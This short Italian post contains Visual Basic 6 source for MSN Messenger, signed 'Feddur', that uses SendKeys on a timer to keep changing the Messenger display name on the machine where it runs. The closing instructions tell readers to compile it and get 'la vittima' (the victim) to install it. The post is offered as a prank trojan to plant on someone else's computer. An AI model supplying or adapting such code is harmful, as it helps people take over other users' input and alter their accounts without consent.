Cambiare il nick di un nostro contatto

Public WithEvents msn As MessengerAPI.Messenger
Dim nome1 As String


Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
Timer1.Interval = 10000
Timer2.Interval = 10000
i = 1
End Sub

Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Sleep (20)
SendKeys nome1
Sleep (20)
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
If i = 2 Then
i = 1
Else
i = i + 1
End If
End Sub

Private Sub Timer2_Timer()
If i = 1 Then nome1 = "nick che voleteFederico"
If i = 2 Then nome1 = "altro nick che volete"
End Sub

Scritto da Feddur...

per farlo funzionare dovete scaricare Visual Basic 6, e lo compilate con il VB6. e lo fate installare alla vittima...


by feddur